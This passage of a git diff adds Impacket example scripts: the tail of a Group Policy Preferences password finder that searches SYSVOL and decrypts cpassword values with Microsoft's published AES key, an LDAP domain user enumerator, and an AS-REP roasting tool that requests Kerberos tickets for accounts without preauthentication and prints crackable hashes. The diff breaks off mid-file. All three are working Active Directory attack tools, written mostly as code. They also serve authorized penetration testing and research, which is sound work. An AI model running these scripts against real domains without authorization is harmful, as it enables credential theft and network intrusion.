+        # Breadth-first search algorithm to recursively find .extension files
+        files = []
+        searchdirs = [base_dir + '/']
+        while len(searchdirs) != 0:
+            next_dirs = []
+            for sdir in searchdirs:
+                logging.debug('Searching in %s ' % sdir)
+                try:
+                    for sharedfile in self.smb.listPath(self.share, sdir + '*', password=None):
+                        if sharedfile.get_longname() not in ['.', '..']:
+                            if sharedfile.is_directory():
+                                logging.debug('Found directory %s/' % sharedfile.get_longname())
+                                next_dirs.append(sdir + sharedfile.get_longname() + '/')
+                            else:
+                                if sharedfile.get_longname().endswith('.' + extension):
+                                    logging.debug('Found matching file %s' % (sdir + sharedfile.get_longname()))
+                                    results = self.parse(sdir + sharedfile.get_longname())
+                                    if len(results) != 0:
+                                        self.show(results)
+                                        files.append({"filename": sdir + sharedfile.get_longname(), "results": results})
+                                else:
+                                    logging.debug('Found file %s' % sharedfile.get_longname())
+                except SessionError as e:
+                    logging.debug(e)
+            searchdirs = next_dirs
+            logging.debug('Next iteration with %d folders.' % len(next_dirs))
+        return files
+
+    def parse_xmlfile_content(self, filename, filecontent):
+        results = []
+        try:
+            root = minidom.parseString(filecontent)
+            properties_list = root.getElementsByTagName("Properties")
+            # function to get attribute if it exists, returns "" if empty
+            read_or_empty = lambda element, attribute: (
+                element.getAttribute(attribute) if element.getAttribute(attribute) != None else "")
+            for properties in properties_list:
+                results.append({
+                    'newname': read_or_empty(properties, 'newName'),
+                    'changed': read_or_empty(properties.parentNode, 'changed'),
+                    'cpassword': read_or_empty(properties, 'cpassword'),
+                    'password': self.decrypt_password(read_or_empty(properties, 'cpassword')),
+                    'username': read_or_empty(properties, 'userName'),
+                    'file': filename
+                })
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                traceback.print_exc()
+            logging.debug(str(e))
+        return results
+
+    def parse(self, filename):
+        results = []
+        filename = filename.replace('/', '\\')
+        fh = BytesIO()
+        try:
+            # opening the files in streams instead of mounting shares allows for running the script from
+            # unprivileged containers
+            self.smb.getFile(self.share, filename, fh.write)
+        except SessionError as e:
+            logging.error(e)
+            return results
+        except Exception as e:
+            raise
+        output = fh.getvalue()
+        encoding = chardet.detect(output)["encoding"]
+        if encoding != None:
+            filecontent = output.decode(encoding).rstrip()
+            if 'cpassword' in filecontent:
+                logging.debug(filecontent)
+                results = self.parse_xmlfile_content(filename, filecontent)
+                fh.close()
+            else:
+                logging.debug("No cpassword was found in %s" % filename)
+        else:
+            logging.debug("Output cannot be correctly decoded, are you sure the text is readable ?")
+            fh.close()
+        return results
+
+    def decrypt_password(self, pw_enc_b64):
+        if len(pw_enc_b64) != 0:
+            # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be)
+            key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20' \
+                  b'\x9b\x09\xa4\x33\xb6\x6c\x1b'
+            # thank you MS for using a fixed IV :)
+            iv = b'\x00' * 16
+            pad = len(pw_enc_b64) % 4
+            if pad == 1:
+                pw_enc_b64 = pw_enc_b64[:-1]
+            elif pad == 2 or pad == 3:
+                pw_enc_b64 += '=' * (4 - pad)
+            pw_enc = base64.b64decode(pw_enc_b64)
+            ctx = AES.new(key, AES.MODE_CBC, iv)
+            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
+            return pw_dec.decode('utf-16-le')
+        else:
+            logging.debug("cpassword is empty, cannot decrypt anything")
+            return ""
+
+    def show(self, results):
+        for result in results:
+            logging.info("NewName\t: %s" % result['newname'])
+            logging.info("Changed\t: %s" % result['changed'])
+            logging.info("Username\t: %s" % result['username'])
+            logging.info("Password\t: %s" % result['password'])
+            logging.info("File\t: %s \n" % result['file'])
+
+
+def parse_args():
+    parser = argparse.ArgumentParser(add_help=True,
+                                     description='Group Policy Preferences passwords finder and decryptor')
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL'
+                                                       ' (if you want to parse local files)')
+    parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse")
+    parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share")
+    parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)")
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true",
+                       help='Use Kerberos authentication. Grabs credentials from ccache file '
+                            '(KRB5CCNAME) based on target parameters. If valid credentials '
+                            'cannot be found, it will use the ones specified in the command '
+                            'line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    return parser.parse_args()
+
+
+def parse_target(args):
+    domain, username, password, address = utils.parse_target(args.target)
+
+    if args.target_ip is None:
+        args.target_ip = address
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
+        from getpass import getpass
+
+        password = getpass("Password:")
+
+    if args.aesKey is not None:
+        args.k = True
+
+    if args.hashes is not None:
+        lmhash, nthash = args.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    return domain, username, password, address, lmhash, nthash
+
+
+def init_logger(args):
+    # Init the example's logger theme and debug level
+    logger.init(args.ts)
+    if args.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
+
+
+def init_smb_session(args, domain, username, password, address, lmhash, nthash):
+    smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port))
+    dialect = smbClient.getDialect()
+    if dialect == SMB_DIALECT:
+        logging.debug("SMBv1 dialect used")
+    elif dialect == SMB2_DIALECT_002:
+        logging.debug("SMBv2.0 dialect used")
+    elif dialect == SMB2_DIALECT_21:
+        logging.debug("SMBv2.1 dialect used")
+    else:
+        logging.debug("SMBv3.0 dialect used")
+    if args.k is True:
+        smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip)
+    else:
+        smbClient.login(username, password, domain, lmhash, nthash)
+    if smbClient.isGuestSession() > 0:
+        logging.debug("GUEST Session Granted")
+    else:
+        logging.debug("USER Session Granted")
+    return smbClient
+
+
+def main():
+    print(version.BANNER)
+    args = parse_args()
+    init_logger(args)
+    if args.target.upper() == "LOCAL" :
+        if args.xmlfile is not None:
+            # Only given decrypt XML file
+            if os.path.exists(args.xmlfile):
+                g = GetGPPasswords(None, None)
+                logging.debug("Opening %s XML file for reading ..." % args.xmlfile)
+                f = open(args.xmlfile,'r')
+                rawdata = ''.join(f.readlines())
+                f.close()
+                results = g.parse_xmlfile_content(args.xmlfile, rawdata)
+                g.show(results)
+            else:
+                print('[!] File does not exists or is not readable.')
+    else:
+        domain, username, password, address, lmhash, nthash = parse_target(args)
+        try:
+            smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash)
+            g = GetGPPasswords(smbClient, args.share)
+            g.list_shares()
+            g.find_cpasswords(args.base_dir)
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                traceback.print_exc()
+            logging.error(str(e))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py
new file mode 100644
index 0000000..0795a56
--- /dev/null
+++ b/examples/GetADUsers.py
@@ -0,0 +1,270 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will gather data about the domain's users and their corresponding email addresses. It will also
+#   include some extra information about last logon and last password set attributes.
+#   You can enable or disable the the attributes shown in the final table by changing the values in line 184 and
+#   headers in line 190.
+#   If no entries are returned that means users don't have email addresses specified. If so, you can use the
+#   -all-users parameter.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   LDAP
+#
+
+from __future__ import division
+from __future__ import print_function
+from __future__ import unicode_literals
+import argparse
+import logging
+import sys
+from datetime import datetime
+
+from impacket import version
+from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.ldap import ldap, ldapasn1
+from impacket.smbconnection import SMBConnection, SessionError
+
+
+class GetADUsers:
+    def __init__(self, username, password, domain, cmdLineOptions):
+        self.options = cmdLineOptions
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__target = None
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = cmdLineOptions.aesKey
+        self.__doKerberos = cmdLineOptions.k
+        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
+        self.__kdcIP = cmdLineOptions.dc_ip
+        self.__kdcHost = cmdLineOptions.dc_host
+        self.__requestUser = cmdLineOptions.user
+        self.__all = cmdLineOptions.all
+        if cmdLineOptions.hashes is not None:
+            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
+
+        # Create the baseDN
+        domainParts = self.__domain.split('.')
+        self.baseDN = ''
+        for i in domainParts:
+            self.baseDN += 'dc=%s,' % i
+        # Remove last ','
+        self.baseDN = self.baseDN[:-1]
+
+        # Let's calculate the header and format
+        self.__header = ["Name", "Email", "PasswordLastSet", "LastLogon"]
+        # Since we won't process all rows at once, this will be fixed lengths
+        self.__colLen = [20, 30, 19, 19]
+        self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)])
+
+    def getMachineName(self, target):
+        try:
+            s = SMBConnection(target, target)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except Exception:
+            if s.getServerName() == '':
+                raise Exception('Error while anonymous logging into %s' % target)
+        else:
+            s.logoff()
+        return s.getServerName()
+
+    @staticmethod
+    def getUnixTime(t):
+        t -= 116444736000000000
+        t /= 10000000
+        return t
+
+    def processRecord(self, item):
+        if isinstance(item, ldapasn1.SearchResultEntry) is not True:
+            return
+        sAMAccountName = ''
+        pwdLastSet = ''
+        mail = ''
+        lastLogon = 'N/A'
+        try:
+            for attribute in item['attributes']:
+                if str(attribute['type']) == 'sAMAccountName':
+                    if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False:
+                        # User Account
+                        sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
+                elif str(attribute['type']) == 'pwdLastSet':
+                    if str(attribute['vals'][0]) == '0':
+                        pwdLastSet = '<never>'
+                    else:
+                        pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                elif str(attribute['type']) == 'lastLogon':
+                    if str(attribute['vals'][0]) == '0':
+                        lastLogon = '<never>'
+                    else:
+                        lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                elif str(attribute['type']) == 'mail':
+                    mail = str(attribute['vals'][0])
+
+            print((self.__outputFormat.format(*[sAMAccountName, mail, pwdLastSet, lastLogon])))
+        except Exception as e:
+            logging.debug("Exception", exc_info=True)
+            logging.error('Skipping item, cannot process due to error %s' % str(e))
+            pass
+
+    def run(self):
+        if self.__kdcHost is not None:
+            self.__target = self.__kdcHost
+        else:
+            if self.__kdcIP is not None:
+                self.__target = self.__kdcIP
+            else:
+                self.__target = self.__domain
+
+            if self.__doKerberos:
+                logging.info('Getting machine hostname')
+                self.__target = self.getMachineName(self.__target)
+
+        # Connect to LDAP
+        try:
+            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
+            if self.__doKerberos is not True:
+                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                             self.__aesKey, kdcHost=self.__kdcIP)
+        except ldap.LDAPSessionError as e:
+            if str(e).find('strongerAuthRequired') >= 0:
+                # We need to try SSL
+                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
+                if self.__doKerberos is not True:
+                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+                else:
+                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcIP)
+            else:
+                if str(e).find('NTLMAuthNegotiate') >= 0:
+                    logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
+                                     "authentication instead.")
+                else:
+                    if self.__kdcIP is not None and self.__kdcHost is not None:
+                        logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
+                                         "must match exactly each other.")
+                raise
+
+        logging.info('Querying %s for information about domain.' % self.__target)
+        # Print header
+        print((self.__outputFormat.format(*self.__header)))
+        print(('  '.join(['-' * itemLen for itemLen in self.__colLen])))
+
+        # Building the search filter
+        if self.__all:
+            searchFilter = "(&(sAMAccountName=*)(objectCategory=user)"
+        else:
+            searchFilter = "(&(sAMAccountName=*)(mail=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))" % UF_ACCOUNTDISABLE
+
+        if self.__requestUser is not None:
+            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
+        else:
+            searchFilter += ')'
+
+        try:
+            logging.debug('Search Filter=%s' % searchFilter)
+            sc = ldap.SimplePagedResultsControl(size=100)
+            ldapConnection.search(searchFilter=searchFilter,
+                                  attributes=['sAMAccountName', 'pwdLastSet', 'mail', 'lastLogon'],
+                                  sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord)
+        except ldap.LDAPSearchError:
+                raise
+
+        ldapConnection.close()
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print((version.BANNER))
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users data")
+
+    parser.add_argument('target', action='store', help='domain[/username[:password]]')
+    parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ')
+    parser.add_argument('-all', action='store_true', help='Return all users, including those with no email '
+                                                           'addresses and disabled accounts. When used with -user it '
+                                                          'will return user\'s info even if the account is disabled')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
+                                                                              'ommited it use the domain part (FQDN) '
+                                                                              'specified in the target parameter')
+    group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
+                                                                              'If ommited, the domain part (FQDN) '
+                                                                              'specified in the account parameter will be used')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password = parse_credentials(options.target)
+
+    if domain == '':
+        logging.critical('Domain should be specified!')
+        sys.exit(1)
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    try:
+        executer = GetADUsers(username, password, domain, options)
+        executer.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(str(e))
diff --git a/examples/GetNPUsers.py b/examples/GetNPUsers.py
new file mode 100644
index 0000000..2e088c6
--- /dev/null
+++ b/examples/GetNPUsers.py
@@ -0,0 +1,459 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   This script will attempt to list and get TGTs for those users that have the property
+#   'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
+#   For those users with such configuration, a John The Ripper output will be generated so
+#   you can send it for cracking.
+#
+#   Original credit for this technique goes to @harmj0y:
+#   https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
+#   Related work by Geoff Janjua:
+#   https://www.exumbraops.com/layerone2016/party
+#
+#   For usage instructions run the script with no parameters.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import datetime
+import logging
+import random
+import sys
+from binascii import hexlify
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+
+from impacket import version
+from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
+from impacket.krb5.kerberosv5 import sendReceive, KerberosError
+from impacket.krb5.types import KerberosTime, Principal
+from impacket.ldap import ldap, ldapasn1
+from impacket.smbconnection import SMBConnection, SessionError
+
+
+class GetUserNoPreAuth:
+    @staticmethod
+    def printTable(items, header):
+        colLen = []
+        for i, col in enumerate(header):
+            rowMaxLen = max([len(row[i]) for row in items])
+            colLen.append(max(rowMaxLen, len(col)))
+
+        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
+
+        # Print header
+        print(outputFormat.format(*header))
+        print('  '.join(['-' * itemLen for itemLen in colLen]))
+
+        # And now the rows
+        for row in items:
+            print(outputFormat.format(*row))
+
+    def __init__(self, username, password, domain, cmdLineOptions):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__target = None
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__no_pass = cmdLineOptions.no_pass
+        self.__outputFileName = cmdLineOptions.outputfile
+        self.__outputFormat = cmdLineOptions.format
+        self.__usersFile = cmdLineOptions.usersfile
+        self.__aesKey = cmdLineOptions.aesKey
+        self.__doKerberos = cmdLineOptions.k
+        self.__requestTGT = cmdLineOptions.request
+        #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
+        self.__kdcIP = cmdLineOptions.dc_ip
+        self.__kdcHost = cmdLineOptions.dc_host
+        if cmdLineOptions.hashes is not None:
+            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
+
+        # Create the baseDN
+        domainParts = self.__domain.split('.')
+        self.baseDN = ''
+        for i in domainParts:
+            self.baseDN += 'dc=%s,' % i
+        # Remove last ','
+        self.baseDN = self.baseDN[:-1]
+
+    def getMachineName(self, target):
+        try:
+            s = SMBConnection(target, target)
+            s.login('', '')
+        except OSError as e:
+            if str(e).find('timed out') > 0:
+                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except SessionError as e:
+            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
+                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
+                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
+            else:
+                raise
+        except Exception:
+            if s.getServerName() == '':
+                raise Exception('Error while anonymous logging into %s' % target)
+        else:
+            s.logoff()
+        return s.getServerName()
+
+    @staticmethod
+    def getUnixTime(t):
+        t -= 116444736000000000
+        t /= 10000000
+        return t
+
+    def getTGT(self, userName, requestPAC=True):
+
+        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        asReq = AS_REQ()
+
+        domain = self.__domain.upper()
+        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+
+        pacRequest = KERB_PA_PAC_REQUEST()
+        pacRequest['include-pac'] = requestPAC
+        encodedPacRequest = encoder.encode(pacRequest)
+
+        asReq['pvno'] = 5
+        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
+
+        asReq['padata'] = noValue
+        asReq['padata'][0] = noValue
+        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
+        asReq['padata'][0]['padata-value'] = encodedPacRequest
+
+        reqBody = seq_set(asReq, 'req-body')
+
+        opts = list()
+        opts.append(constants.KDCOptions.forwardable.value)
+        opts.append(constants.KDCOptions.renewable.value)
+        opts.append(constants.KDCOptions.proxiable.value)
+        reqBody['kdc-options'] = constants.encodeFlags(opts)
+
+        seq_set(reqBody, 'sname', serverName.components_to_asn1)
+        seq_set(reqBody, 'cname', clientName.components_to_asn1)
+
+        if domain == '':
+            raise Exception('Empty Domain not allowed in Kerberos')
+
+        reqBody['realm'] = domain
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+        reqBody['till'] = KerberosTime.to_asn1(now)
+        reqBody['rtime'] = KerberosTime.to_asn1(now)
+        reqBody['nonce'] = random.getrandbits(31)
+
+        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
+
+        seq_set_iter(reqBody, 'etype', supportedCiphers)
+
+        message = encoder.encode(asReq)
+
+        try:
+            r = sendReceive(message, domain, self.__kdcIP)
+        except KerberosError as e:
+            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                # RC4 not available, OK, let's ask for newer types
+                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
+                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
+                seq_set_iter(reqBody, 'etype', supportedCiphers)
+                message = encoder.encode(asReq)
+                r = sendReceive(message, domain, self.__kdcIP)
+            else:
+                raise e
+
+        # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
+        # 'Do not require Kerberos preauthentication' set
+        try:
+            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
+        except:
+            # Most of the times we shouldn't be here, is this a TGT?
+            asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
+        else:
+            # The user doesn't have UF_DONT_REQUIRE_PREAUTH set
+            raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
+
+        if self.__outputFormat == 'john':
+            # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
+            return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
+                                               hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
+                                               hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
+        else:
+            # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
+            return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
+                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
+                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
+
+    @staticmethod
+    def outputTGT(entry, fd=None):
+        if fd is None:
+            print(entry)
+        else:
+            fd.write(entry + '\n')
+
+    def run(self):
+        if self.__usersFile:
+            self.request_users_file_TGTs()
+            return
+
+        if self.__kdcHost is not None:
+            self.__target = self.__kdcHost
+        else:
+            if self.__kdcIP is not None:
+                self.__target = self.__kdcIP
+            else:
+                self.__target = self.__domain
+
+            if self.__doKerberos:
+                logging.info('Getting machine hostname')
+                self.__target = self.getMachineName(self.__target)
+
+        # Are we asked not to supply a password?
+        if self.__doKerberos is False and self.__no_pass is True:
+            # Yes, just ask the TGT and exit
+            logging.info('Getting TGT for %s' % self.__username)
+            entry = self.getTGT(self.__username)
+            self.outputTGT(entry, None)
+            return
+
+        # Connect to LDAP
+        try:
+            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
+            if self.__doKerberos is not True:
+                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+            else:
+                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                             self.__aesKey, kdcHost=self.__kdcIP)
+        except ldap.LDAPSessionError as e:
+            if str(e).find('strongerAuthRequired') >= 0:
+                # We need to try SSL
+                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
+                if self.__doKerberos is not True:
+                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+                else:
+                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
+                                                 self.__aesKey, kdcHost=self.__kdcIP)
+            else:
+                # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)
+                logging.info('Cannot authenticate %s, getting its TGT' % self.__username)
+                entry = self.getTGT(self.__username)
+                self.outputTGT(entry, None)
+                return
+
+
+        # Building the search filter
+        searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
+                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
+                       (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
+
+        try:
+            logging.debug('Search Filter=%s' % searchFilter)
+            resp = ldapConnection.search(searchFilter=searchFilter,
+                                         attributes=['sAMAccountName',
+                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
+                                         sizeLimit=999)
+        except ldap.LDAPSearchError as e:
+            if e.getErrorString().find('sizeLimitExceeded') >= 0:
+                logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
+                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
+                # paged queries
+                resp = e.getAnswers()
+                pass
+            else:
+                if str(e).find('NTLMAuthNegotiate') >= 0:
+                    logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
+                                     "authentication instead.")
+                else:
+                    if self.__kdcIP is not None and self.__kdcHost is not None:
+                        logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
+                                         "must match exactly each other")
+                raise
+
+        answers = []
+        logging.debug('Total of records returned %d' % len(resp))
+
+        for item in resp:
+            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
+                continue
+            mustCommit = False
+            sAMAccountName =  ''
+            memberOf = ''
+            pwdLastSet = ''
+            userAccountControl = 0
+            lastLogon = 'N/A'
+            try:
+                for attribute in item['attributes']:
+                    if str(attribute['type']) == 'sAMAccountName':
+                        sAMAccountName = str(attribute['vals'][0])
+                        mustCommit = True
+                    elif str(attribute['type']) == 'userAccountControl':
+                        userAccountControl = "0x%x" % int(attribute['vals'][0])
+                    elif str(attribute['type']) == 'memberOf':
+                        memberOf = str(attribute['vals'][0])
+                    elif str(attribute['type']) == 'pwdLastSet':
+                        if str(attribute['vals'][0]) == '0':
+                            pwdLastSet = '<never>'
+                        else:
+                            pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                    elif str(attribute['type']) == 'lastLogon':
+                        if str(attribute['vals'][0]) == '0':
+                            lastLogon = '<never>'
+                        else:
+                            lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
+                if mustCommit is True:
+                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
+            except Exception as e:
+                logging.debug("Exception:", exc_info=True)
+                logging.error('Skipping item, cannot process due to error %s' % str(e))
+                pass
+
+        if len(answers)>0:
+            self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
+            print('\n\n')
+
+            if self.__requestTGT is True:
